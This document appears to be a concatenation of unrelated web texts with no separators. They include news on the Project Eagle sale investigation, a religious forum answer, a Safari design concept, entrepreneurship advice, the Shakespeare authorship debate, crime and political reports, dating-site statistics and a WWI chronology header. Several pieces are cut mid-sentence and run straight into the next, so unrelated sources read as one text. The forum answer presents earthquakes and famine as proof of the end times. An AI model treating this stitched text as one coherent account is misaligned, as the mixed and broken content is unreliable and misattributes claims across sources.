In a statement this evening, the PSNI said the investigation comes off the back of concerns raised about the sale of the 850 properties, as well as the “recent claims made in the Irish parliament by independent TD Mick Wallace”.
“We believe that there is sufficient concern in relation to potential criminal activity, surrounding this property deal, to instigate an investigation,” ACC Kerr from the Crime Operations unit said.
The force says it is engaging with a number of other national and international law enforcement partners “to consider how best to take forward this investigation”.
Yesterday, an assembly committee in Northern Ireland discussed allegations that a politician could have benefitted from the sale of the property portfolio to the tune of £7 million.
Wallace made the claims in the Dáil last week, telling TDs the portfolio, Project Eagle, was sold for €1.5 billion to US private equity firm Cerberus despite having been worth €4.5 billion.
He said an audit of a legal firm involved in the process revealed that £7 million ended up in an Isle of Man bank account and this was “reportedly earmarked for a Northern Ireland politician”.
The politician in question has not been named.
More questions
The Public Accounts Committee is also due to examine the sale of the Northern Ireland assets during a hearing tomorrow.
Discussions with chairman Frank Daly and chief executive Brendan McDonagh will focus on the 2014 sale to US fund Cerberus for €1.6 billion.
PAC chairman John McGuinness says that the committee will question Nama officials on the rationale for selling the properties in one lot:
Committee members will be seeking assurances from Nama officials that the return to the taxpayer was maximised in the sale of these assets. We will explore the chain of events leading to the withdrawal of Pimco in March 2014, one of only three bidders that had made the shortlist.
“With just Cerebus and another bidder, the Committee will want to get an understanding of how the process worked and whether this was the optimum business approach to achieving the best possible sale price.
“Potential conflicts in the sales of the assets will be explored,” according to McGuinness.
“Cerberus hired a US law firm Brown Rudnick to handle the deal,” he said ahead of the meeting.
“Browne Rudnick had also been retained by Pimco. Brown Rudnick in turn retained a law firm in Northern Ireland Tughans as local advisor in Belfast. Tughans has a close connection with a Frank Cushnahan, a Northern Ireland businessman who was appointed to a NAMA advisory Committee dealing to the Northern Ireland portfolio.
“Based on what Pimco told NAMA, Mr Cushnahan was in line to receive a third party acquisition fee as part of the payments to be made by Brown Rudnick to Tughans. So this potential conflict of interest will be explored by the Committee in detail with NAMA officials tomorrow.”Best Answer: Apart from all the other scientific facts about the earthquakes, the bible mentions that these are signs of the ends of times. Luke 21:11 reads the following: "and there will be great earthquakes, and in one place after another pestilences and food shortages". To me that is no surprise. “The seismic activity has suddenly increased in all the planet ”,explained the Indian seismologist Rajender Chadha in 2007. In addition, the number of victims has grown due to the fast increase of the population in zones of risk. According to the Geologic Service of the United States, the earthquake and tsunami that took place in the Indian Ocean in 2004 was one of the "deadliest".
Another sign is hunger. “There will be food shortages ”, noted Jesus (Matthew 24:7). In 2005, the magazine Science declared: “14% of the world-wide population (854 million people) suffer chronic or acute undernourishment”. And in 2007, the United Nations informed that there were 33 countries incapable to feed his inhabitants. But, how is this possible when the world-wide grain production is increasing? Partly, it must be that the grain of many fields of culture is not destined to the human consumption, but to the ethanol elaboration. In the developed countries, the rise in the prices of foods forces many to choose between the food and other basic necessities, like medicines or the heating.
Another important sign was the decreasing moral and social values. The apostle Paul wrote: "But know this, that in the last days critical times hard to deal with will be here. For men will be lovers of themselves, lovers of money, self-assuming, haughty, blasphemers, disobedient to parents, unthankful, disloyal, having no natural affection, not open to any agreement, slanderers, without self-control, fierce, without love of goodness, betrayers, headstrong, puffed up [with pride], lovers of pleasures rather than lovers of God, having a form of godly devotion but proving false to its power; and from these turn away." (2 Timothy 3: 1-5) Are these not the characteristics of many people seen today?
As you see, the bible has many proofs of the ends of times and one of these are strong earthquakes. Near Concepcion, Chile there was an 8.8 magnitude earthquake and shortly after an aftershock of 6.9 and diminishing. A couple of months ago, Haiti had an earthquake. We are only in March, and so far there have been many "great earthquakes... in one place after another." If you would like to learn more, please visit http://www.watchtower.org/ If you would really like to get in depth, you could request a free bible study program at the comfort of your own home. https://watch002.securesites.net/contact/submit.htm
Source(s): http://www.watchtower.org/
Manny G · 9 years agoSafari is technically a platform on its own, separate from the iTunes App Store. Until the day that Gatekeeper comes to iOS, it will continue to be the most open way for users to access information on Apple's mobile devices. But besides iCloud Tabs and Reading List, Mobile Safari has remained basically unchanged since its unveiling in 2007.
Your iPhone's browser has been sitting in almost the exact same state for over five years. Apple's tweaked and refined the browser — which was always solid — but sometimes it still feels stale. Designer Brent Caswell has a beautiful vision for Safari's future.
I wanted to conceptualise what Safari on iOS could be if it took on the developments that have occurred on other browsers over the last few years, and adjust the user experience to match changes that have occurred elsewhere on the platform.
Unifying the Address and Search Bars
Today, all modern browsers have a unified address and search bar (including Safari on the Mac). What Apple calls a "Smart Search Field" has also expanded beyond the typical search and go, as it looks through your history, previous searches, and sometimes even the content of pages that you've visited. Unifying the two fields also has the potential to speed up the browsing experience; you can't accidentally tap on the wrong bar. I remember when I first started to use a unified bar on Google Chrome, the experience just felt infinitely more simple and straightforward.
One of the obstacles to this unification is the unique keyboards that appear when the user taps on one of the two fields The search keyboard is pretty typical, while the address field's keyboard is built to type URLs. I had to delude the individuality of the boards in order to make them come together. But, in the end, I think there is a net gain to the average user.
You'll notice that the bottom bar is on top of the keyboard, which might look a little strange at first. What it does is allow the user to immediately begin typing on a new page just as easily as they can access their bookmarks. This would, again, save the user a from an unnecessary tap.
I've added icons to the results to help the user understand what each option is. If you start to scroll the list, the keyboard goes down and out of the way, like it does in most other apps.
Better Bookmarks
Currently, when you tap the bookmarks button, you are greeted by a series of bookmarks, folders and pseudo folders for Reading List, iCloud Tabs and History. While it makes sense for Reading List and History to be in this section of the app, iCloud Tabs really belong under the Pages hierarchy (more on that later). Personally, I don't think that pseudo folders make sense, so I instead made them tabs across the bottom of the screen. The designers of iPad's version of Safari seem to agree with me.
So now we're going to get into some deep UI stuff. On the iPhone, there's a need for a "Done" button, because the bookmarks section fills the entire screen; on the iPad, you just have to tap anywhere on the screen to dismiss the pop-up, and when you're inside of a folder and you press "Edit", the back button is replaced with a "New Folder" button (which I thought was less than elegant).
In the end, it was the back button on the top of the screen that I needed to do away with. But, in order to do that, I had to completely change the way that folders look and feel. I took some lessons from folders on the home screen (which don't have back buttons).
In my version of Safari, folders are behind the list. When the folder in the list is tapped, the list breaks in half and slides out of the way to reveal the contents of the folder. Tapping on the title of the folder a second time closes the folder.
Like all other apps, search would be hidden under the title bar, and you would have to pull the list down to reveal it. I'm just showing it here because it doesn't exist in the current app.
Editing Bookmarks
Editing bookmarks could be much more efficient by using the batch editing system that exists in the stock mail app. That combined with bookmark options appearing when the user swipes over a bookmark (think Twitter) makes for a much more robust editing experience.
Bookmark Stream
After a few months of using iOS 6's Photo Stream feature, I found it disappointing that Apple didn't spread the iCloud love to its other apps. Really, every stock app on iOS could have better integration with iCloud, beyond simple syncing. There could be collaborative notes, you could send people reminders, or you could have public bookmark folders just like you have public photo albums through Photo Stream. So while Bookmark Stream might not be the catchiest name, I think that it's an idea worth exploring.
Unlike Photo Stream, Bookmark Stream would be collaborative; more than one person could contribute to the contents of a folder. The user could also choose to simply share the contents of a folder. In order for this system to work, the participants of the stream have to be divided into two categories: "contributors" and "subscribers".
Contributors can view and edit the contents of a stream. Subscribers can only view the contents of a Bookmark Stream. If it isn't public, contributors could also invite people to contribute or subscribe to the stream (if it is public, then anyone with a subscription link could subscribe, but they would still have to be invited if they wanted to contribute to the stream).
Once more than one person is a contributor, the stream cannot be deleted unless all contributors have "left" the stream (Tumblr does something similar with their blogs).
Reading List
Reading List is essentially left unchanged. I've moved the UI around to save space, and I've added the ability to batch edit. When in the editing mode, a "+" button replaces the "Done" button, which allows the user to add an item to their reading list.
Pages
The pages view has changed quite a bit. Instead of simply showing one page at a time, the user can see four. As I said before, iCloud Tabs moved from the bookmarks section to the pages view.
Connecting Apps to Web Content
In iOS, an app can tell the operating system that it has the ability to handle certain file types, and an app can have support for its files to be opened in other apps. But what about web content in Safari? I think that apps should be able to access content on the web through Safari's action sheet. Here are some types of content that apps could handle:
links (whether it's a link on a page or the page itself)
articles (using Safari's ability to grab |
through the process, there was a huge learning curve for me to overcome, mostly related to finances. I learned all of it anyway, but it would have been a lot less stressful if I would have known more about it beforehand.
4. Copywriting
The fourth of the ten skills you need to learn is copywriting.
Copywriting is one of the most basic skills that any entrepreneur must be good at. Simply put, it’s the ability to write in such a way that it gets your readers to take some sort of action. Usually, this comes in a form of an email or web page in which a marketer is trying to sell you some product or service.
Many think that this skill is not important, but the reality is that if you are not able to create a quality sales copy, you will hardly sell anything. A good sales copy can convert website visitors into customers, while a badly written sales copy can even turn away people that were at first willing to buy your product.
Keep in mind that professional copywriters can get really expensive, so it’s good to start studying this craft and practicing it already today. In my opinion, this is also a great way to learn about the consumer psychology. Again, something that you will never be taught at a traditional business school.
5. Image editing
To be honest, I didn’t think at first that image editing would be a necessary skill for me to have. However, the reality of things is that I have been editing images for the last two years almost weekly. When you become an entrepreneur, there will always be an image to edit. The image editing may be for your website, social networks or even for your products and services.
Of course, you can use cheap services, such as Fiverr to have your images edited, which is what I often use, but in the long run, you will want to learn at least the basics of this skill. I began with a free photo editing software called Gimp, but eventually transitioned to the more advanced Photoshop.
6. SEO
The sixth of the ten skills you need to learn is related to web development, but not quite. SEO stands for Search Engine Optimization, and is absolutely essential to understand if you have your own website. Knowing how to optimize your website correctly will allow it to rank better in Google and other search engines. Better ranking in search engines means more exposure, more exposure means more traffic to your blog/website, and more traffic means more sales and faster growth of your business.
As you can see, SEO is really an essential skill to own in this modern world of computers. Without it, you are allowing your competitors to pass you without a fight.
Again, if you want to learn more about SEO, you can find various courses on Udemy (SEO).
7. Social networks
Today, one of the best ways to get exposure is through social networks. Yep, not everyone uses Facebook, Twitter and Instagram to post cute pictures of kittens. Some companies use it to reach millions of people, and they do it quite successfully. One way to do it is to create ad campaigns, which is something we see today more and more on social networks. Why? Because it helps you find the perfect customer, someone that has already specified that they are interested in what you’ve got to offer them.
For example, maybe your business is about selling real estate courses in the Vancouver area. You can create a Facebook page for your business, and then promote it to people that are geographically located in the Vancouver area and are interested in real estate.
Social networks are extremely powerful, are absolutely essential today for your business, and offer you many different ways in which your business can get more visibility.
8. PPC
The eighth of the ten skills you need to learn is all about PPC.
PPC advertising is similar to social network advertising, but a lot more complex. It’s really a beast of its own that you can spend a lot of time perfecting. Remember, the better you get at PPC, the more success your ads will have.
Moreover, advertising today is dirt cheap compared to the old days. Just think about how much easier and affordable this can be, as opposed to the old days, when it was done primarily through the TV, radio, magazines and bulletin boards. It’s safe to say that PPC is something that your business will be using sooner or later, regardless of whether it is accomplished through social networks, Google, Amazon or any other.
Once again, for PPC, check out Udemy (PPC).
9. Strategizing
The ninth of the ten skills you need to learn is related to strategy.
Strategizing is something you probably won’t hear many talk about when it comes to learning a new skill in the context of entrepreneurship. Nonetheless, being able to create a good strategy is a big part of entrepreneurship.
A strategy can either make or break your business. If your strategy has been poorly thought through, you will struggle, make a lot of mistakes and risk having a failed business idea. But if you plan your business strategy well in advance and really take your time with it, then you have a lot more chances of succeeding.
When starting, I didn’t really take strategizing seriously. But now that I have seen what works well for me and doesn’t, I understand that so many mistakes could have been avoided if only I would have spent more time on researching and weighing up all the pros and cons. I can’t stress enough the importance of strategy.
Recommended for reading: Shiny Object Syndrome – Why and How to Avoid It at All Costs
10. Be resourceful, proactive, adaptable and curious
The last of the ten skills you need to learn has nothing to do with being technical, but rather with your state of mind.
While knowing how to create a website and write a good sales copy is beneficial, most of your success will come from who you are, rather than from what you do. You can have all the skills you want, but if you are not able to see the bigger picture, remain positive and overcome failure, then you will not be able to become a successful entrepreneur.
One way or another, entrepreneurship is a long and lonely road. You will need to work a lot and make personal sacrifices. Many are attracted by the idea of working for themselves and being financially free, but they are not willing to handle the workload, stress and adversity that come along the way. As they say, eighty percent of your success will be determined by your attitude and only twenty percent by your aptitude.
Be resourceful to always find another way around. Be proactive to keep taking action no matter what. Be adaptable to never get left behind. Be curious to always be one step ahead of everyone else.
I hope you’ve found this post useful. Feel free to leave your comment below. I’m always happy reading what other people have to say.
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Top 10 Skills You Need to Learn That Will Help You Become a Successful Entrepreneur 5 (100%) 2 votes (100%)votes(CNN) -- To most people, the literary debate over who wrote the works of William Shakespeare would appear to be much ado about nothing. After all, the play's the thing, right? What does it matter who wrote it?
To James Shapiro, however, it matters a great deal.
The Columbia University professor and Shakespeare scholar spent 15 years working on his 2005 book, "A Year in the Life of William Shakespeare: 1599." The work exhaustively details a key year in the Bard's career, when he wrote "Henry V" and "Julius Caesar" and became the man thought of as history's greatest English-language dramatist.
And yet he couldn't convince the doubters, who believe that the name "William Shakespeare" is a front for the real author.
"I thought I did a damned good job showing that it could only have been Shakespeare who wrote the plays we attributed to him," he said. "And I naively thought, that will slow people down who think that Shakespeare didn't write Shakespeare. And they kind of stepped around it.
"And I thought, I have to stop and really address this."
The result is Shapiro's new book, "Contested Will." In it, Shapiro chronicles the history of the anti-Stratfordian movement, which has believed that any number of people -- the essayist Francis Bacon, the nobleman the Earl of Oxford, Walter Raleigh, Christopher Marlowe -- wrote the plays ascribed to the glovemaker's son from Stratford-upon-Avon, born 446 years ago. It's a theory that has attracted some famous minds -- including Mark Twain and Sigmund Freud -- and will soon be coming to the screen as Roland ("2012") Emmerich's latest film, "Anonymous."
To the anti-Stratfordians, Shakespeare -- who left behind, by modern standards, relatively little in the way of personal records -- was too unworldly, too unromantic (in his will, he famously left his widow his "second best bed"), too ordinary to have written some of the greatest plays and poems known to man. It's a theory Shapiro roundly rejects. He says that modern audiences are reading Shakespeare through modern sensibilities, believing that the author's work is autobiographical -- which was not the case in Shakespeare's day.
"We read today anachronistically -- we expect to find things in books that were written 400 years ago that people writing 400 years ago would not have put in those books," he says. "But the plays of Shakespeare and his contemporaries were not [autobiographical].... They made stuff up based on stories they read."
The distinction is important, he adds.
"Part of the authorship question is about trying to find whose life you can line up with the life of the author of the plays. Oxfordians will say, hey, our guy had three daughters and was captured by pirates. Your guy had two daughters and was never captured by pirates. Therefore, our guy has a greater likelihood to have written the plays. And that way madness lies, because then you end up with 50 or 60 contenders."
Naturally, Oxfordians disagree. Shapiro's book has been wounded in its Amazon rankings by reviewers who don't believe Shapiro's thesis and criticized by anti-Stratfordian websites.
"I do think there is an authorship question," says Michael Egan, a retired English professor who edits the Oxfordian, the journal of the Shakespeare Oxford Society. Though he considers himself a Stratfordian, he says he's "open-minded" about the issue and criticizes Shapiro for some of the arguments in "Contested Will."
"The case for Oxford derives from the fact that almost everything we know about Shakespeare of Stratford doesn't seem connectible to the author of the plays," he says. "It's that gap between what we could infer about the author, and what we know about Shakespeare of Stratford, which has raised the questions."
It's a battle that has, as Shapiro records, been filled with partisan rhetoric and bad blood since it began a little more than 200 years ago. Twain, for example, wrote a short book on the subject; his contemporary, Henry James, also questioned Shakespeare's authorship. Others have created elaborate codes or sought biographical parallels. The Stratfordians stand by their proof; the anti-Stratfordians fill in the gaps.
In that respect, the battle over Shakespeare has much in common with other disputes. Kathy Olmsted, a history professor at the University of California-Davis and the author of "Real Enemies: Conspiracy Theories and American Democracy," observes that, in American history, conspiracy theories have often arisen from a perceived lack of information.
"When people don't have that information or can't get it, they like to sort of speculate on what the real story is," she says. "People see those blank spots and they want to fill them in."
And in for a penny, in for a pound, she adds: "It becomes like a religion. People who believe in these theories really get invested in them, and they don't want to account for evidence that doesn't fit their thesis."
Which is why, for Shapiro, it's so important to establish that Shakespeare wrote Shakespeare.
"So much is at stake in Shakespeare. In the great game of capture the literary flag, this is it," he says. "If you can say something about Shakespeare, you can say something about how English literature and literature in general works."
He's particularly leery about Emmerich's film, which is in production and stars Vanessa Redgrave, Rhys Ifans and Derek Jacobi -- the latter a noted Shakespeare doubter.
"It's going to be a disaster movie for people who teach Shakespeare," he says. "In the great rock-paper-scissor of movie and book, movie beats book."
Still, he's hopeful that "Contested Will" will have an impact. "You can't win that battle. But I can wage it, at any rate."
Nevertheless, he's ready to put the Baconians, Oxfordians, Marlovians and other anti-Stratfordians behind him.
"I can't wait to get back to Shakespeare and writing a book. I actually get smarter wrestling with Shakespeare's words -- it's very thrilling," he says. "But spending five years thinking about people's fantasies did not make me smarter at all.... Was it worth it? Probably. As long as the next book goes well."Edmonton police are praising a young boy for his quick thinking after a man allegedly abducted his five-year-old sister during a bike ride over the weekend.
A 37-year-old man faces child abduction charges after being arrested following the Aug. 12 incident, police said Tuesday.
Police say the preteen boy and his five-year-old sister were riding bikes near 157 Street and 99 Avenue Saturday, near Meadowlark Christian School, when the girl was approached by a man she did not know.
The man allegedly “took hold of the girl’s handlebars and led her away from the area on foot,” police said in a new release.
Police said the boy ran to a family member’s home nearby to warn them about the abduction. Family members then ran to where the girl was last seen and found her safe and unharmed one block away. Police arrested the man in the area shortly after.
Det. Manuel Illner with the EPS Child Protection Section praised the brother for acting quickly.
“This young man followed his instincts and certainly did the right thing by running home and notifying family members immediately,” Illner said.
“I encourage all parents to talk to their children about what to do in the event they are approached by a stranger.”
Dusty Greg Chalifoux has been charged with abducting a child under 14 years of age and breaching recognizance. Police continue to investigate.
Anyone with information about the incident is asked to contact Edmonton police or Crime Stoppers.
According to court records, Chalifoux was to appear in court on Tuesday to face charges of unlawful harassment, which allegedly occurred between Sept. 1 and Nov. 30 2016, and two counts of sexual assault, which allegedly occurred last October and November.
jwakefield@postmedia.comThe former Playboy Playmate and roomate of Melania Trump, Victoria Silvstedt, said her friend will “bring the glamour back into the White House.”
Silvstedt told People Thursday that she hopes her friend gets to be the next first lady. She predicted that Trump would “bring the glamour back into the White House.”
“I’m just hoping that [Melania] ends up living in the White House,” Silvstedt said, according to People. “We lived together for almost a year in Paris, about twenty years ago when we both were starting our careers. I came fresh out of Sweden, and she came from Slovenia, and we really bonded, she’s wonderful.”
“She’s also a very classy dresser,” she added. “Not that the White House hasn’t always been glamorous, but … she’s definitely a style icon. She always looks amazing. I know that designers probably already do want to dress her, but I would imagine they’re all going to want to dress her she’s so beautiful and graceful.”
The former playmate told the outlet she would love to visit the White House if her friend gets to move in. “Who wouldn’t love to, right,” she said. “I’m not going to say no to that.”University meal plans are designed to give students some flexibility as to when - and how much - food they eat. But every week, thousands of meal vouchers at colleges nationwide go unused. And that - essentially - adds up to a lot of wasted food. As Arizona Public Radio's Parker Olson reports, a group of students at Northern Arizona University has come up with an idea to use that extra food to feed Flagstaff's hungry.
It's a chilly night in downtown Flagstaff, and Arthur Epps is on the streets with no place to stay. "Some things happened," Epps says. "I got kicked of the bus in the middle of nowhere and they stole all my stuff. Serious business, man."
That's why Epps is particularly grateful when, suddenly, a group of NAU students approaches him with the offer of a hot meal. "That's excellent you guys are out here helping the poor," says Epps. "You're helping people that are homeless."
The students are part of a new group at NAU called Make Every Transfer Count. Each Saturday, they gather unused student meal vouchers and cash them in for food. Then, they head out on the streets of Flagstaff and hand out burritos, bagels and sandwiches.
Azariah Grams, a freshman, started the meal transfer program in January. He says the idea came to him during his winter break from school. "I grabbed one of my friends and I was like, 'hey man, we've talked about doing this. Let's do it," Grams says. " It was just the two of us at first. And then next week, it was three of us, and then last week there were nineteen of us passing out food."
Grams says NAU's voucher plan allows students to buy a certain number of meals each week. If they don't use them all by Saturday night, the vouchers expire. Caitlin Fagan, also a freshman and a co-founder of the programs, says it's been well received by other students on campus because of its simplicity. "Everyone on campus really seems to like the idea," Fagan says. "Because everyone has experienced the extra transfers and they don't really know what to do with them. So, I think people like having a way to help out, a very easy way, with something you already have."
The group collects the food on campus and then splits up to distribute it around town. Some volunteers head out along Route 66. Others fan out between campus and the railroad tracks looking for people to feed. That's where they meet Clark Reber, who's down on his luck and staying at a local shelter. "It's awesome," Reber tells the students. "You guys are doing great work here. You're uplifting to people that are down and out and brining food which everyone needs."
In the month since the student-run program started, organizers estimate they've fed about 100 people. If there's any food left after their Saturday night runs, they donate it to a local rescue mission. The group hopes to keep growing and become another reliable source for feeding Flagstaff's hungry and homeless.Palestinians threw rocks and burned tyres in anger Israeli soldiers have clashed with protesters in the West Bank town of Hebron after two disputed shrines were listed as Israeli heritage sites. Palestinian protesters threw bottles and stones at soldiers who responded with tear gas and stun grenades. The protesters say the move to list the shrines as heritage sites would restrict Muslims access to them, but this has been denied. The Hebron shrine is an important site for both Jews and Muslims. The rioting was the most serious unrest in the area for months, the Associated Press reported. The Israeli military said one soldier was lightly injured in the clashes. Restoration plan On Sunday Israel's Prime Minister Benjamin Netanyahu said the Tomb of the Patriarchs, known to Muslims as the al-Ibrahimi Mosque in Hebron, and the site of Rachel's tomb in Bethlehem would now be included in a $107m (£69m) restoration plan. Israeli troops broke up the crowd with tear gas and stun grenades About 100 protesters clashed with soldiers, a military spokeswoman said. Many of the rioters were students from a school in the southern part of the city. "The occupation has devoted all of its efforts to steal Islamic holy sites in Jerusalem, Hebron and Palestinian cities to change their Arab and Islamic character to prove the country is Jewish," the Palestinian Mufti Sheikh Muhammad Hussein told the Palestinian Maan news agency. Jordan condemned what it called Israel's "provocative" plan to include the sites, saying it would "harm peace efforts" and "anger millions of Muslims around the world", AFP reported. The Tomb of the Patriarchs is known to Muslims as the al-Ibrahimi Mosque The UN's special coordinator for the Middle East peace process, Robert Serry, said he was "concerned" about Israel's announcement, and called for "restraint and calm". The Hebron burial site is where the Bible says Abraham, Isaac and Jacob were buried along with three of their wives. It has been a flashpoint for decades, with 500 Jewish settlers now living in enclaves near the disputed site, surrounded by 170,000 Palestinians. The Tomb of Rachel - a shrine to the Biblical matriarch - has also been a source of controversy. Some Muslims say it is the site of a mosque. Also, Israel's West Bank barrier juts far into Bethlehem so that the tomb is located on the Israeli side, ostensibly for security reasons. However, Palestinians say it impedes their access and represents a land grab illegal under international law. Close to 500,000 Jews live in more than 100 settlements built since Israel's 1967 occupation of the West Bank and Arab East Jerusalem. The settlements are illegal under international law, though Israel disputes this.
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StumbleUpon What are these? E-mail this to a friend Printable version: Star News via Naver1. [+691, -42] I like both, please don't make us choose and fight.2. [+641, -11] YG says that but they never follow up on actual releases so whatever..3. [+471, -12] Hul, really? I knew the company wouldn't be crazy enough to put them on a world tour with only two digital singles and no album... but YG has lied so much that I can't trust them anymore.4. [+529, -71] They're both legends in the idol industry5. [+143, -22] "2NE1 hasn't released an official album since their September 2010 release 'To Anyone'" Yeah YG, I'm sure you're very proud of that to put that line in the press release.6. [+121, -14] This is actually their second time going up against each other... Genie vs I Don't Care7. [+120, -17] Two groups to finally put down all of the stripping kids.. I want the best for both of them.8. [+91, -3] This is their second time right since I Don't Care and Genie?Though the 1967 film The Graduate popularized a certain female archetype with the sexy seductress Mrs. Robinson, OK Cupid's latest data crunching reveals that today's man wants a much younger woman.
Chrisitan, a blogger for OK Cupid, works some magic on the raw data from 200,000 and discovers that numbers wise, older women shouldn't have a problem finding men to date online. However, "the male fixation on youth distorts the dating pool," meaning that men do not necessarily want to date someone within their age range.
[A] man, as he gets older, searches for relatively younger and younger women. Meanwhile his upper acceptable limit hovers only a token amount above his own age. The median 31 year-old guy, for example, sets his allowable match age range from 22 to 35-nine years younger, but only four years older, than himself. This skewed mindset worsens with age; the median 42 year-old will accept a woman up to fifteen years younger, but no more than three years older.
These types of preferences begin to have a snowball effect, knocking large numbers of women out of consideration. Even worse is when Christian introduces more information - that men say they are interested in women within a certain age range, but end up messaging women who are even younger.
As you can see, men tend to focus on the youngest women in their already skewed preference pool, and, what's more, they spend a significant amount of energy pursuing women even younger than their stated minimum. No matter what he's telling himself on his setting page, a 30 year-old man spends as much time messaging 18 and 19 year-olds as he does women his own age. On the other hand, women only a few years older are largely neglected.
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Part of the gap has to come from culture. After all, despite the unfortunately-named MILF phenomenon, there are very few older women in the public eye who are considered attractive and desirable in the same way twenty-somethings are. Even as we can all point to women who break that mold, the simple idea is that women over the age of thirty are perceived differently than women in their 20s. However, Christian has a snappy answer ready for that one as well:
Many of you are probably scoffing at the idea that many 35 year-olds are as attractive as many 25 year-olds, but there are social factors at work that you might not consider as you go through life making judgments. Most importantly: nationwide, thirtysomethings are much more likely to be married and therefore much more likely to have stopped optimizing their attractiveness. So the typical 35 year-old woman you see out in the world isn't representative of the single 35 year-olds who are still dating and looking good.
The Case For An Older Woman [OK Cupid]If the Supreme Court rules the individual mandate unconstitutional, House Minority Leader Nancy Pelosi said the rest of the health care law wouldn’t work from a “financial standpoint.”
“Well, just to borrow a Supreme Court metaphor, you have to eat your vegetables,” Pelosi said at her weekly press briefing Thursday. You have to have the mandate in order for this to work from a financial standpoint but it doesn’t mean that — in other words, we want to keep those in place. The biggest difference in the lives of the American people — well, let me say one of, because — in terms of this legislation is that you cannot be deprived of coverage if you have a pre-existing medical condition. This is huge.”
In addition to preventing insurance companies from denying those with pre-existing conditions, the Patients Bill of Rights portion of the law also allows individuals under 26 years of age to stay on their parents’ health plan.
“The insurance companies even say that they really can’t do that unless the premiums skyrocket,” Pelosi continued. “So if the American people like the idea that they can — they and their children for a lifetime — cannot be deprived of health care and health insurance because of a pre-existing medical condition, than that will require some other action in order for that to happen.”
“And what could that be? There could be something passed in the Congress similar to what we had originally in the House bill, which was a surcharge on the wealthy to pay for aspects of that — that was our pay-for. The Senate had another idea so it went a different path.”
Follow Nicholas on TwitterDonald Trump will help the Republican Party crack down on voting rights across the country. Drew Angerer/Getty Images
On Sunday night, the president-elect of the United States declared that more than 2 million fraudulent votes had been cast in the election that elevated him to the presidency. “I won the popular vote,” Donald Trump tweeted in an angry response to Jill Stein’s swing state recount, “if you deduct the millions of people who voted illegally.” Some pundits once again insisted that this demonstrably false assertion was “just a distraction” to divert our attention from the real crises and scandals. That’s nonsense. One of the key crises facing the United States today is the Republican-led assault on voting rights. And whether or not he intended to, Trump just helped to lay the groundwork for a coming crackdown on suffrage across the country.
Over the past 16 years, Republicans have peddled the myth of widespread voter fraud to justify draconian restrictions on the franchise. Stringent voter ID laws, cuts to early voting, and rigid rules allowing the baseless disqualification of absentee ballots have become commonplace in states like Wisconsin, North Carolina, and Texas, where Republicans have seized total control of the government. So far, however, the GOP’s push to curtail suffrage has floundered on the national level. The George W. Bush administration spent years searching for actual instances of voter fraud as pretext for a national voter ID bill, but failed miserably just in time for Democrats to recapture the Senate in 2006. Since then, Democrats have consistently blocked federal efforts to make voting harder, even as the attack on voting rights became, quite literally, the Republican party line.
Soon these Democratic checks will vanish, and congressional Republicans will surely step up their anti-voting crusade. As the Nation’s Ari Berman notes, Sen. Ted Cruz has already introduced a bill requiring voters to present proof of citizenship, like a passport or birth certificate, before voting in federal elections. This requirement would disproportionately burden poor and minority voters, who tend to vote for Democrats, thereby allowing Republicans to entrench their power. Conservative writers have also spent years developing an intellectual justification for the repeal of federal statutes designed to facilitate voting, arguing that the government should make voting harder to weed out low-information voters. To that end, Republicans are likely to set in their crosshairs the National Voter Registration Act, or Motor Voter Law, which lets citizens register to vote at state agencies like the DMV.
You might notice that this argument—that voters should be required to prove their intelligence before casting a ballot—seems identical to the pretenses deployed by Southern states in the Jim Crow–era to justify literacy tests. It is, of course, and the goal remains the same: to prevent low-income and minority Americans from voting. As one federal court explained in striking down North Carolina’s anti-voting measure, Republicans have “target[ed] African Americans with almost surgical precision” in their efforts to keep minorities away from the polls.
For now, the courts may continue to block these anti-voting laws. But the election of Trump effectively dashed any hopes of robust judicial enforcement of voting rights beyond the next few months. Yes, courts have recently begun protecting the franchise with unusual vigor—but many of these rulings hinged on the fact that the Supreme Court’s conservatives lacked a fifth vote to reverse them. As soon as Trump’s appointee takes the bench, the right-wing justices will begin upholding brazenly discriminatory voting restrictions. (That includes swing-vote Justice Anthony Kennedy, who would have allowed that openly racist North Carolina law to take effect this election season.)
Even worse, the court’s conservatives appear poised to revisit the Voting Rights Act and gut it once again, holding that it merely bars voting laws with discriminatory intent, not laws with discriminatory impact. Because it’s extraordinarily difficult to prove legislative intent, such a decision would render the VRA largely toothless. As Berman reminds us, Chief Justice John Roberts has yearned for this ruling since 1981; soon he’ll have the opportunity to write it himself. And he’ll be working in lockstep with Attorney General Jeff Sessions, who will likely use his immense power to prosecute voter registration groups and launch a witch hunt against phantom fraud while providing legal cover to states that diminish voting rights even further.
The right to vote in the United States is about to enter a period of great peril—and the danger is not limited to one or two elections, before Democrats regain some power and yet again provide a counterweight. If Republicans coordinate this assault shrewdly enough, they can entrench their power indefinitely through voter suppression, remaining a majority party for decades even as their supporters represent a shrinking minority of the country. Trump may not know or care much about this long-term strategizing, but his congressional allies certainly do. And his baseless but explosive tweet can only help them build the pretext for a looming assault on voting rights that is simply without precedent in modern times.Japan is well-known for having its themed cafes, with maid cafes being a particular favorite over the past few years. While the anime-loving geeks among us can appreciate the appeal, it’s equally upsetting that they have replaced some of the great video game shops that used to line the streets of Akihabara.
Now we have another themed cafe launching in Japan which is sure to be popular with gamers there, and a draw for gamers visiting the country. Say hello to the Kirby Cafe, of which there will be three opening and located in Osaka, Tokyo, and Nagoya.
Even though the website says the cafes are open, they actually aren’t until next month. The Osaka location open on August 5 and Nagoya opens on August 24. The Tokyo cafe opening has yet to be confirmed. You’ll also notice from the image above that Nagoya is just a Kirby store, meaning Osaka is the only place to get Kirby themed food next month.
And all the dishes really are themed. And if that wasn’t enough to get you booking a ticket to Japan, the Kirby Cafe also includes a Kirby figure with every dish, which you can see below. There are 7 to collect.
Check out the gallery below for a look at all the Kirby Cafe food you can enjoy along with the gifts you can buy in the store. I know a lot of people who would easily spend their entire holiday allowance in this place.On This Day - 25 October 1916
Theatre definitions: Western Front comprises the Franco-German-Belgian front and any military action in Great Britain, Switzerland, Scandinavia and Holland. Eastern Front comprises the German-Russian, Austro-Russian and Austro-Romanian fronts. Southern Front comprises the Austro-Italian and Balkan (including Bulgaro-Romanian) fronts, and Dardanelles. Asiatic and Egyptian Theatres comprises Egypt, Tripoli, the Sudan, Asia Minor (including Transcaucasia), Arabia, Mesopotamia, Syria, Persia, Afghanistan, Turkestan, China, India, etc. Naval and Overseas Operations comprises operations on the seas (except where carried out in combination with troops on land) and in Colonial and Overseas theatres, America, etc. Political, etc. comprises political and internal events in all countries, including Notes, speeches, diplomatic, financial, economic and domestic matters. Source: Chronology of the War (1914-18, London; copyright expired)
Western Front
